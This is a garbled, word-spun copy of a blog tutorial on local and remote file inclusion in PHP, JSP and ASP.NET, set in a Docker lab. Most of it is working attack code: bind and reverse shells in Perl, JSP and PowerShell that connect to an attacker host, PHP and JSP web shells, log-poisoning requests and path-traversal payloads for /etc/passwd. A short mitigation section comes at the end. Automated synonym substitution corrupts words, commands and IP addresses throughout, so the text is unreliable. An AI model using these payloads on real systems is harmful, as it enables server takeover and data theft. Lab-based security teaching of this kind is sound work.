How to Upload a Meterpreter Shell Lfi
Introduction
In this weblog postal service I want to talk about Local File Inclusion / Remote File Inclusion. These two vulnerabilities are closely related, and so I describe them here together. Spider web applications that are affected by such issues can oft be owned relatively quickly by malicious attackers.
In the following I will draw,
- how these vulnerabilities are constructed
- how to set up a test environs to recreate them
- which attack scenarios in that location are and
- how to avoid or discover these issues
I try to accompany everything with exercises so that you tin understand it easier.
Everything coded hither including all docker stuff tin be plant at my github repo.
What is LFI / RFI in detail?
Then I'm a hacker. How do I get into your application?
This is essentially what LFI/RFI takes advantage of when there is a corresponding vulnerability. And the impact is virtually oft a very critical one.
Here'south a lilliputian visualization to get a amend grip:
Created with yEd. Icon credits to: VRT CC-past-sa-v3
The individual steps in detail:
- First a client sends a request to the server, e.m. someone types in the URL in the browser and presses Enter.
- The server then sends back a response.
- The request URL consists of several parts, the protocol :// the domain of the server / and query parameters.
- The response can exist some html lawmaking.
- The query parameters of the URL are structured by fundamental-value pairs.
- You could try to alter a value of a key …
- … and see what happens with the response. Does the content alter?
At present the value of the request parameter is a file from the server.
-
Local File Inclusion is it if you could change that file to another file that then will be loaded not intended by the application.
-
Remote File Inclusion is it if you could change the value to an url which and so would be loaded every bit file into the server.
Exercises
If you lot see the following url: https://secf00tprint.github.io?folio=file.html.
- Where could the awarding be vulnerable?
- What is the name of this attack?
- How can you try to verify it?
Answer
It seems that the application uses a key-value-pair in the url: folio=file.html.
This cardinal-value-pair consists a file as value.
This indicates a local-file-inclusion vulnerability. Search some other html file of the awarding and try to insert it at the value position.
Why is it so unsafe?
Possible means after LFI/RFI has been found are shown in the adjacent picture show:
There are 3 levels of attack severity:
- 1st level: Read access LFI
- 2nd level: Write access LFI
- 3rd level: RFI
Every of the paths shown in the effigy likewise as the different severity types will be demonstrated in a executable demo futurity so that yous can direct reproduce the vulnerabilities to learn from information technology.
Read admission LFI
If LFI is possible, the attacker can read files from the server. This affects files within the current directory or fifty-fifty across directories.
Write access LFI
Does the attacker accept
- the power to upload files or manipulate files on the server and
- practise these files are located in an accessible LFI directory
then he or she can execute arbitrary lawmaking on the server.
RFI
If RFI is possible it's easiest to attack. The assaulter has just to include the malicious code into the url and the payload will be executed onto the victim machine.
I volition now demonstrate different attacks in running server examples:
Setting up a test surround
To reproduce the two security issues local on your system you can utilise the following github project: https://github.com/secf00tprint/payloadtester_lfi_rfi
To run it you lot demand
- Docker
- Git and
First you lot have to clone the project:
git clone https://github.com/secf00tprint/payloadtester_lfi_rfi
At that place are two networks available. One is a Linux network, the other is a Windows one.
Linux network
The understand all the Linux network you demand additionally a Kali VM for creating payloads using Metasploit.
Therefore it is skillful if yous have installed and downloaded:
- VirtualBox
- Kali VM for VirtualBox
The Linux server infrastructure consists of:
Created with yEd. Icon credits to: VRT CC-by-sa-v3, Kameleon Free Pack
Starting the network
Y'all tin start the Linux network
start_linux_network.sh
and stop it with Ctrl-C (await some seconds till everything is gracefully shutdown after that).
At the kickoff of the logs you tin see which IPs are used inside your local network and which IPs inside the docker network:
If nosotros look at the beginning of our docker logs we can see:
Attaching to attacker.lfi.jsp.tld, attacker.lfi.php.tld, victim.lfi.jsp.tld, victim.lfi.php.tld assailant.lfi.jsp.tld | starting server on: external: 127.0.0.1:8882 - internal: 172.xviii.0.three:8080 assailant.lfi.php.tld | starting server on: external: 127.0.0.1:8884 - internal: 172.18.0.five:80 victim.lfi.jsp.tld | starting server on: external: 127.0.0.1:8881 - internal: 172.eighteen.0.ii:8080 victim.lfi.php.tld | starting server on: external: 127.0.0.1:8883 - internal: 172.eighteen.0.4:eighty
So for example the victim php server can exist reached on your local computer at http://127.0.0.one:8883 and inside the Linux docker network at http://172.xviii.0.4:eighty or using proper name resolution at http://victim.lfi.php.tld:80.
I will now testify some examples of LFI / RFI in two programming languages PHP and JSP.
First I'll start with PHP:
PHP
If you lot run the Linux network y'all can go to
http://127.0.0.1:8883/lfi.php
Here we have 2 vulnerable query parameters: language
and page
.
I will handle both parameters, in the next section first with linguistic communication
:
Language Parameter
LFI
File Upload
The awarding allows the upload of files. Furthermore if y'all upload a file you lot can see where the file is stored:
On http://127.0.0.1:8883/lfi.php you lot can cull between different languages. Everytime you switch you can meet that the language is gear up in the url:
- http://127.0.0.1:8883/lfi.php?language=english language
- http://127.0.0.1:8883/lfi.php?linguistic communication=melay
It seem's that the PHP code is just setting an .php
file postfix at the end.
Sanity check lfi
Now, why no trying to upload a file and become information technology with the accented path using the url?
There create the following file
<?php phpinfo();
and upload it. After that, call http://127.0.0.one:8883/lfi.php?language=/var/www/html/uploads/check
Bingo! Y'all have currenty insight into the php configuration of the victim server!
Getting a remote trounce
Now that we know that we can upload a file, access and execute it, permit's try bringing real malicious lawmaking to the system.
The idea would be to become direct access to the server by executing a PHP file.
Therefore we need the following lawmaking:
cat shell.php
<?php system("perl -eastward \"use Socket;socket(SOCKET, PF_INET, SOCK_STREAM,getprotobyname('tcp'));setsockopt(SOCKET, SOL_SOCKET,SO_REUSEADDR, ane);bind(SOCKET, pack_sockaddr_in(4444,inet_aton('0.0.0.0')));listen(SOCKET, SOMAXCONN);for (;accept(NEW_SOCKET,SOCKET);close NEW_SOCKET){open up(STDIN, '>&NEW_SOCKET');open(STDOUT, '>&NEW_SOCKET');open up(STDERR, '>&NEW_SOCKET');organization('/bin/sh');shut(STDIN);close(STDOUT);shut(STDERR);};\" &"); ?>
This creates a Bind Shell - it opens a possible connection where you can connect to equally attacker. The connection is open for everybody (0.0.0.0
) and listens on port 4444
.
Upload the file on the victim server and execute it by opening it:
http://127.0.0.one:8883/lfi.php?language=/var/world wide web/html/uploads/shell
Yous should at present exist able to connect to the server.
Therefore:
- Go the docker id of the aggressor server:
docker ps -a
- Open a shell of the attacker server:
docker exec -ti <containerid_attackerserver> /bin/fustigate
- Open up a shell from the attacker server to the victim server:
nc victim.lfi.php.tld 4444
- Yous have a connectedness straight into the victim server!
Log Injection
If there is no file upload to write your lawmaking to the server, you could try to practise Log Injection.
This can be done the following way:
Created with yEd. Icon credits to: VRT CC-by-sa-v3, Logs Search - Geosm Due east-Commerce 18px, Kameleon Gratuitous Pack
Getting remote lawmaking execution
Try it! Open up a HTTP Connectedness to the victim php server and ship some exploit code to apply subsequently:
nc -nv 127.0.0.1 8883 <?php echo shell_exec($_GET['cmd']);?>
The response:
HTTP/ane.1 400 Bad Request Date: Wed, 05 Dec 2018 12:13:38 GMT Server: Apache/2.4.25 (Debian) Content-Length: 302 Connexion: shut Content-Type: text/html; charset=iso-8859-one <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <championship>400 Bad Asking</title> </head><trunk> <h1>Bad Request</h1> <p>Your browser sent a asking that this server could non sympathise.<br /> </p> <60 minutes> <address>Apache/ii.4.25 (Debian) Server at 172.xviii.0.4 Port 80</address> </trunk></html>
It doesn't affair because you're only interested in getting the code into the logs.
Now try to admission the access.log
where yous should accept just written into.
In this instance the access.log
is named access_combined.log
.
Outcome:
http://127.0.0.1:8883/lfi.php?page=../../../var/log/apache2/access_combined.log
opens the log file.
The PHP code allows you lot to use the parameter cmd
to give a shell command, which is and then executed and displayed via echo
.
So let'due south find out which Linux system the server is running on.
http://127.0.0.1:8883/lfi.php?page=../../../var/log/apache2/access_combined.log&cmd=uname -a
RFI
PHP Configuration
You can use the check.php
http://127.0.0.1:8883/lfi.php?language=/var/www/html/uploads/check lfi to go to the next level:
Search for allow_url
on the site.
One of the showtime findings should exist:
These 2 parameters, allow_url_fopen
and allow_url_include
, are fix to Off
by default.
If they are enabled they Remote File Inclusion is possible if the site has RFI security issues, otherwise RFI wouldn't exist possible:
-
allow_url_fopen
toOn
makes it possible to open files by url in the code. -
allow_url_include
permits the developer to include an external url within his code.
Exploiting RFI
So now you can assail with a Remote File Inclusion:
Try to get to execute check.php
, but the file from your aggressor server rather than from the victim server should be loaded past the victim application.
Our assaulter server has the following file: http://127.0.0.1:8884/check.php.
Nosotros will set this as the value for the language central. And, we have to utilise the IP within the docker network for the aggressor server, which can exist picked from the docker logs:
The outset effort could be:
http://127.0.0.1:8883/lfi.php?linguistic communication=http://aggressor.lfi.php.tld/check.php
But this won't work because the postfix '.php' is appended.
Information technology volition become: http://127.0.0.i:8883/lfi.php?linguistic communication=http://assaulter.lfi.php.tld/check.php.php
There are two solutions:
Either, nosotros rename our php file to check.php.php
, then it will work
or we use a question mark at the terminate of our call: http://127.0.0.1:8883/lfi.php?language=http://aggressor.lfi.php.tld/check.php?
So http://attacker.lfi.php.tld/check.php?.php
would be called on the attacker server, which executes check.php
and discards the .php
part.
And so a possible verify attack could be:
http://127.0.0.1:8883/lfi.php?language=http://172.xviii.0.five/check.php?
or
http://127.0.0.i:8883/lfi.php?linguistic communication=http://attacker.lfi.php.tld/check.php?
which load check.php
from the aggressor server, include the code on the victim server and execute it there.
Page Parameter
The second of the both url parameters that is vulnerable is folio
.
This time no file ending is automatically appended.
Yous can verify the vulnerability for example using http://127.0.0.one:8883/lfi.php?page=check.php
if you take already uploaded check.php:
/etc/passwd
Since an extension is not appended automatically, we tin can now attempt to go files other than PHP.
And then permit'south effort to integrate /etc/passwd
. This is possible both admittedly and relatively.
absolutely:
http://127.0.0.1:8883/lfi.php?page=/etc/passwd
relatively:
Here you have to attempt out. Start with ../etc/passwd
and add together further ../
.
In this application it is three times:
http://127.0.0.1:8883/lfi.php?page=../../../etc/passwd
Non included in demo code
The following topic is not included in the demo code: Null Byte Injection in PHP.
PHP treats file names similar to C strings with a zilch byte as marking the cease of a string.
This immune the automatic appending of a string to an input to exist bypassed, since the aught byte character indicates the end of the string and the PHP interpreter assumes that now zilch follows and discards the rest of the string.
Example language
parameter:
Here the file extension .php
is appended to the input.
With the following call yous could open up a file foo.txt
in the current folder:
http://127.0.0.i:8883/lfi.php?language=foo.txt%00
The string complete string is foo.txt%00.php
. Since %00
indicates the stop of the string merely foo.txt
would exist stored from the php interpreter.
Even so, the employ of zero bytes is no longer possible since PHP version 5.3. So this attack isn't possible any more than since then.
Further payloads
msfvenom
There are a lot more payloads that are possible.
To become an idea you can use the payload generator msfvenom.
msfvenom -l payloads | grep -i php
msfvenom is office of metasploit which is itself is integrated in the Linux Distribution Kali.
Faulty Code
The whole faulty code described in this section PHP looks like this:
cat victim_lfi_server_php/src/lfi.php
<!doctype html> <html> <head> </head> <body> <?php if ( isset( $_GET['language'] ) ) { include( $_GET['language'] . '.php' ); } if ( isset( $_GET['page'] ) ) { include( $_GET['page']); } ?> <div> <form method="get"> Prepare language of page: <select name="language"> <selection value="english">English language</option> <option value="melay">French</option> </select> <input type="submit"> </form> </div> <br/> <div> <form activeness="upload.php" method="mail service" enctype="multipart/form-data"> Select File to upload: <input type="file" name="fileToUpload" id="fileToUpload"> <input type="submit" value="Upload File" name="submit"> </grade> </div> </body> </html>
The problem here is the office where include
commands are combined with the Go-Parameter.
Every bit a soft developer never allow the user or client control what files could exist loaded.
JSP
Now that I've described how Local File Inclusion can take place in PHP, this department deals with Java - in detail Java Server Pages - short JSP.
The JSP application consists of a
- File Upload and
- a Button where you can load the introduction to the application.
You can become to it hither http://127.0.0.1:8881/webapp/.
LFI
Assistance Parameter
If you click on the 'Show'-Button the url volition be http://127.0.0.i:8881/webapp/?assist=introduction. You can run across a key-value-pair: help=introduction
.
If yous call http://127.0.0.1:8881/webapp/introduction, y'all will encounter that the included file is as well straight accessible.
Sanity check lfi
Let's upload something to verify that.
- Create a file with text e.k.
repeat "This is test" > showme
- Upload the file
- Call it up - http://127.0.0.1:8881/webapp/showme
Getting remote code execution
Permit'due south check if not only text is rendered but likewise code is executed.
For this nosotros accept the following example code:
<body> <h1>Hello <% String name = request.getParameter("proper name"); if(proper noun != zip && name.length() > 0) { out.println(name); } else { out.println("World"); } %> from a JSP!</h1> </torso>
Save it as helloworld.jsp
, upload information technology and call information technology with param name
http://127.0.0.one:8881/webapp/helloworld.jsp?name=haxxor
The result should exist:
The side by side step is to get remote code execution on the victim server. Therefore we create some JSP code:
<%@page import="java.io.*"%> <%@page import="java.util.*"%> <% String cmd = request.getParameter("exec"); if (cmd != zippo) { Procedure p; p = Runtime.getRuntime().exec(cmd); InputStreamReader isr = new InputStreamReader(p.getInputStream()); BufferedReader br = new BufferedReader(isr); String line = zippo; while((line = br.readLine()) != cipher){ out.println(line); } } %>
This is the aforementioned as the Hello-Earth-Example before, nosotros take a param which is given to the code.
The difference is in our Hello-World-Example this param is but delivered and printed out.
Here, the param is executed as shell command and the consequence is rendered into the HTML.
Let's cheque this! Upload the code as runme.jsp
:
http://127.0.0.1:8881/webapp/?help=runme.jsp?exec=ls
/etc/passwd
With Remote Code Execution at mitt nosotros can also read sensible information. Let's have a look at the /etc/passwd
:
http://127.0.0.one:8881/webapp/?assistance=runme.jsp?exec=cat%twenty/etc/passwd
Reverse Shell
We will now create a JSP reverse shell code.
For a reverse shell y'all have to set up the IP to which the code has to connect if it is called. This can exist the IP of the JSP attacker server, which yous can see from the docker logs:
The following code is generated with msfvenom.
Y'all can use Kali if yous have installed a Kali VM or have the Os at your hands otherwise.
Exist aware, the generated lawmaking can be detected and classified by Anti Virus Systems as malware. So if this is the instance for you and you have the possibility set an exception for
- the path where you save the code and
- for the
victim_lfi_server_jsp/webapp
directory, where the lawmaking volition be uploaded onto the victim server.
Starting time await what payloads msfvenom has for you lot:
msfvenom -l payloads | grep -i jsp
So create the reverse shell payload:
msfvenom -p java/jsp_shell_reverse_tcp lhost=172.xviii.0.three lport=4444
<%@folio import="coffee.lang.*"%> <%@folio import="java.util.*"%> <%@page import="java.io.*"%> <%@page import="java.net.*"%> <% class StreamConnector extends Thread { InputStream ib; OutputStream ti; StreamConnector( InputStream ib, OutputStream ti ) { this.ib = ib; this.ti = ti; } public void run() { BufferedReader bt = null; BufferedWriter irs = null; attempt { bt = new BufferedReader( new InputStreamReader( this.ib ) ); irs = new BufferedWriter( new OutputStreamWriter( this.ti ) ); char buffer[] = new char[8192]; int length; while( ( length = bt.read( buffer, 0, buffer.length ) ) > 0 ) { irs.write( buffer, 0, length ); irs.flush(); } } catch( Exception e ){} endeavour { if( bt != null ) bt.close(); if( irs != null ) irs.close(); } catch( Exception e ){} } } endeavor { String ShellPath; if (System.getProperty("bone.proper name").toLowerCase().indexOf("windows") == -1) { ShellPath = new String("/bin/sh"); } else { ShellPath = new Cord("cmd.exe"); } Socket socket = new Socket( "172.18.0.two", 4444 ); Process procedure = Runtime.getRuntime().exec( ShellPath ); ( new StreamConnector( process.getInputStream(), socket.getOutputStream() ) ).offset(); ( new StreamConnector( socket.getInputStream(), procedure.getOutputStream() ) ).start(); } catch( Exception eastward ) {} %>
If you upload the code as reverseshell.jsp
,
- become into the jsp attacker server (using its docker id which you go with
docker ps -a
and practice adocker exec -ti <container_id> /bin/bash
) - set up a netcat listener on port 4444:
nc -nlvp 4444
You can now connect to the victim server calling in the browser
http://127.0.0.1:8881/webapp/?assist=reverseshell.jsp
RFI
The JSP application is likewise vulnerable to Remote File Inclusion.
Go into the attacker server webapp folder and create a file called thiscomesfromhaxxor
:
cd attacker_server_jsp/webapp/
echo "Unfortunately, RFI on your server is possible" > thiscomesfromhaxxor
Now call in the browser:
http://127.0.0.1:8881/webapp/?assist=http://172.18.0.3:8080/webapp/thiscomesfromhaxxor
Outcome:
Faulty Code
The JSP code with the security vulnerabilities looks like that:
cat index.jsp
<!doctype html> <head> <%@ taglib uri = "http://java.sun.com/jsp/jstl/core" prefix = "c" %> <championship>File Upload Course</championship> </head> <h3>File Upload</h3> Select a file to upload: <br> <br> <form activity = "UploadFile.jsp" method = "post" enctype = "multipart/form-data"> <input type = "file" name = "file" size = "50" /> <br /> <input type = "submit" value = "Upload File" /> </form> <br> <br> <h3>Introduction</h3> <form> <input type="hidden" name="assistance" value="introduction"> <input type = "submit" value = "Evidence" /> </course> <c:if examination="${not empty param.help}"> <pre><c:import url = "<%= request.getParameter(\"assist\")%>"/> </pre> </c:if>
The problematic part is the department where c:import
is combined with request.getParameter
.
Exercises
You want to set on
victim.lfi.php.tld
: Try to read the apache2 configuration/etc/apache2/apache2.conf
abusing thepage
parameter.
Yous want to set on
victim.lfi.jsp.tld
: Execute a demark shell there and connect to the server. How tin can you reach that?
Respond
The attack would be: Create bind shell lawmaking. This tin exist done using metasploit:
msfvenom -p java/jsp_shell_bind_tcp
The generated code contains the port: ServerSocket server_socket = new ServerSocket( 4444 );
The server will listen at port 4444.
Save the code as bindshell.jsp
. Upload it to http://127.0.0.1:8881/webapp/ and phone call http://127.0.0.1:8881/webapp/?help=bindshell.jsp.
You can now connect to the server: Exercise a docker exec -ti <container_id_attacker_server_jsp> /bin/bash
and phone call nc victim.lfi.jsp.tld 4444
.
Windows network
In this affiliate I will talk near the Windows network.
The server infrastructure looks like:
Created with yEd. Icon credits to: VRT CC-past-sa-v3, Kameleon Free Pack
Configuration on a Linux system
If you lot are on a native Windows operating system you lot can skip this affiliate an go to the adjacent chapter.
Otherwise, I'll explain here how you tin can go the Windows Docker network to run on Linux.
To starting time y'all demand:
- VirtualBox
After y'all have installed VirtualBox you tin use https://github.com/StefanScherer/windows-docker-machine. This is a vagrant environment using VirtualBox to allow you control windows docker from a Linux arrangement.
To install and run information technology, do:
git clone https://github.com/StefanScherer/packer-windows cd packer-windows packer build --only=virtualbox-iso windows_2016_docker.json vagrant box add windows_2016_docker windows_2016_docker_virtualbox.box cd .. git clone https://github.com/StefanScherer/windows-docker-machine cd windows-docker-auto mv ../packer-windows/windows_2016_docker_virtualbox.box . vagrant provision
To start the vagrant environment execute in the windows-docker-machine folder
vagrant upward --provider virtualbox 2016
, to suspend the environs until the next session execute:
vagrant append
If y'all have started it and everything worked fine, you should run into a new docker-machine 2016
:
docker-car ls
Then, to switch between Windows and Linux Docker, enter:
To Windows:
eval $(docker-motorcar env 2016)
To Linux:
eval $(docker-automobile env -unset)
Gear up a environs variable which remembers the IP of your VirtualBox:
export DOCKER_VM_IP=$(docker-machine ip 2016)
Later on that you should be able to start the windows network.
Configuration on a Windows system
On a windows arrangement ready the following environment variable:
set DOCKER_VM_IP=127.0.0.1
Starting the network
To start the windows network check that you take a windows docker:
docker version
Verify in the respond:
Os/Arch: windows
then type in:
./start_win_network.sh
To stop the network with Ctrl-C. Delight notation that it needs some time to gracefully shut downwards.
ASP
At startup you should see at which IP and port you lot can reach the server on your estimator:
Open the awarding in the browser:
LFI
Examination Parameter
Sanity bank check lfi
Create a file SimpleEchoPayload.cshtml
:
echo "Hello" > SimpleEchoPayload.cshtml
and upload it.
In this awarding in that location is a param test
which is vulnerable. You accept to give the file the .cshtml
extension, otherwise you will get an fault similar the post-obit:
Afterward you lot accept uploaded SimpleEchoPayload.cshtml
you can verify the Local File Inclusion:
Getting remote code execution
Listing directory
Now let's go ane step further and try to execute beat out commands.
For this you lot can apply the following code:
blazon WinLfiPayload.cshtml
@using System.Diagnostics @{ var proc = new Process { StartInfo = new System.Diagnostics.ProcessStartInfo { FileName = "cmd.exe", Arguments = "/c dir", UseShellExecute = faux, RedirectStandardOutput = true, CreateNoWindow = true } }; proc.Get-go(); string line = ""; while (!proc.StandardOutput.EndOfStream) { line = line + proc.StandardOutput.ReadLine() + "<br>"; } ViewData["Cmdout"] = line; }
@Html.Raw(@ViewData["Cmdout"])
If you lot look at the lines with
FileName = "cmd.exe", Arguments = "/c dir",
yous encounter that this CSHTML-File volition execute a Windows Command:
cmd.exe /c dir
Result:
If yous take a Linux Server running dotnet you tin can change this code for case to the Linux equivalent:
ls
And then the lawmaking would await like:
true cat LinuxLfiPayload.cshtml
@using System.Diagnostics @{ var proc = new Process { StartInfo = new System.Diagnostics.ProcessStartInfo { FileName = "ls", Arguments = "", UseShellExecute = false, RedirectStandardOutput = true, CreateNoWindow = true } }; proc.Showtime(); string line = ""; while (!proc.StandardOutput.EndOfStream) { line = line + proc.StandardOutput.ReadLine() + "<br>"; } ViewData["Cmdout"] = line; } @Html.Raw(@ViewData["Cmdout"])
Powershell version
Now let's endeavour to see if we have powershell on the organization.
We use the command:
powershell get-host
Then the lawmaking will be:
type CheckPowerShell.cshtml
@using Arrangement.Diagnostics @{ var proc = new Process { StartInfo = new System.Diagnostics.ProcessStartInfo { FileName = "powershell", Arguments = "get-host", UseShellExecute = imitation, RedirectStandardOutput = true, CreateNoWindow = true } }; proc.Showtime(); string line = ""; while (!proc.StandardOutput.EndOfStream) { line = line + proc.StandardOutput.ReadLine() + "<br>"; } ViewData["Cmdout"] = line; } @Html.Raw(@ViewData["Cmdout"])
The output is:
First-class! This means we can execute powershell commands on the victim server.
Remote code execution
At present we employ Arguments
to run a Powershell Control to setup a reverse shell.
First we get into our aggressor machine. Therefore we have to get the docker id
using
docker ps -a
So we use this id to go into our attacker server:
docker exec -ti <containerid_attackerserver> powershell
Hither nosotros check our ip
ipconfig
, gear up upward a netcat listener
nc -nlvp 4444
and create a file in which nosotros include our attacker ip in the reverse shell code (this lawmaking was used from Week of PowerShell Shells - Annunciation and Twenty-four hour period one)
RevShell.cshtml
@using System.Diagnostics @{ var proc = new Procedure { StartInfo = new Arrangement.Diagnostics.ProcessStartInfo { FileName = "cmd.exe", Arguments = @"/c powershell.exe -nop ""$client = New-Object Arrangement.Internet.Sockets.TCPClient('172.20.232.246',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..255|%{0};while(($i = $stream. Read($bytes, 0, $bytes.Length)) -ne 0){;$information = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()""", UseShellExecute = false, RedirectStandardOutput = truthful, CreateNoWindow = true } }; proc.Outset(); string line = ""; while (!proc.StandardOutput.EndOfStream) { line = line + proc.StandardOutput.ReadLine() + "<br>"; } ViewData["Cmdout"] = line; } @Html.Raw(@ViewData["Cmdout"])
If nosotros upload this file, and call http://<ip-docker-container>:8080/?examination=RevShell.cshtml
we get a contrary shell:
Faulty lawmaking
The faulty lawmaking in ASP / Razor looks like this:
Index.cshtml
@folio @model IndexModel @if (HttpContext.Request.Query["test"] != default(Microsoft.AspNetCore.Http.IQueryCollection)) { @Html.Partial(HttpContext.Request.Query["examination"]) } <h2>ASP.NET LFI Payload Tester</h2> <class method="post" enctype="multipart/grade-information"> <input type="file" asp-for="Upload" /> <input type="submit" /> </class>
Alphabetize.cshtml.cs
using System; using System.Collections.Generic; using System.Linq; using System.Threading.Tasks; using Microsoft.AspNetCore.Mvc; using Microsoft.AspNetCore.Mvc.RazorPages; using Microsoft.AspNetCore.Hosting; using Microsoft.AspNetCore.Http; using System.IO; namespace Examination.Pages { public class IndexModel : PageModel { public void OnGet() { } private IHostingEnvironment _environment; public IndexModel(IHostingEnvironment surroundings) { _environment = environment; } [BindProperty] public IFormFile Upload { become; prepare; } public async Task OnPostAsync() { var file = Path.Combine(_environment.ContentRootPath, "Pages", Upload.FileName); using (var fileStream = new FileStream(file, FileMode.Create)) { look Upload.CopyToAsync(fileStream); } } } }
Mitigation
At that place are different methods to find LFI/RFI vulnerabilities.
Yous tin can use Blackness- and White-Box-Testing:
Blackbox-Testing
To find at to the lowest degree the lfi vulnerabilities which allow file path traversal you lot can apply OWASP ZAP
Whitebox-Testing
Try to find certain strings in your code that contain a) code files are included and b) the user can determine the names of the files himself at the aforementioned time
For admins
Try to harden the server settings from the beginning and only open up them when needed. Keyword here [Secure by Default] (https://en.wikipedia.org/wiki/Secure_by_default).
In PHP for example let allow_url_fopen
and allow_url_include
prepare to Off
in php.ini
configuration file.
For developers
Every bit a developer, you should only allow the client to have the files that are intended for it. Never effort to soften that. Do not allow customer control what files to load.
Furthermore, use metrics to select libraries, frameworks and programming languages. And then keep them up-to-date.
Summary
Local file inclusion and in particular remote file inclusion are dangerous security vulnerabilities that may allow an attacker direct access to the system.
In this article I described what LFI/RFI is and how to use information technology.
Finally, I showed you how to detect these gaps in your own projects.
Further Information
A description how to exam can be found at OWASP:
- https://www.owasp.org/alphabetize.php/Testing_for_Local_File_Inclusion
A good introduction in the realm of PHP:
- https://github.com/it-security-kassel-nordhessen/meetup/hulk/main/2019_01_16_33rd/web_security_basics/File_Inclusion_Attacks_208_EN.pdf
As well as, for those who sympathise High german:
- https://github.com/information technology-security-kassel-nordhessen/meetup/blob/master/2019_01_16_33rd/web_security_basics/File_Inclusion_Attacken_DE_2007.pdf
Source: https://secf00tprint.github.io/blog/payload-tester/lfirfi/en
Post a Comment for "How to Upload a Meterpreter Shell Lfi"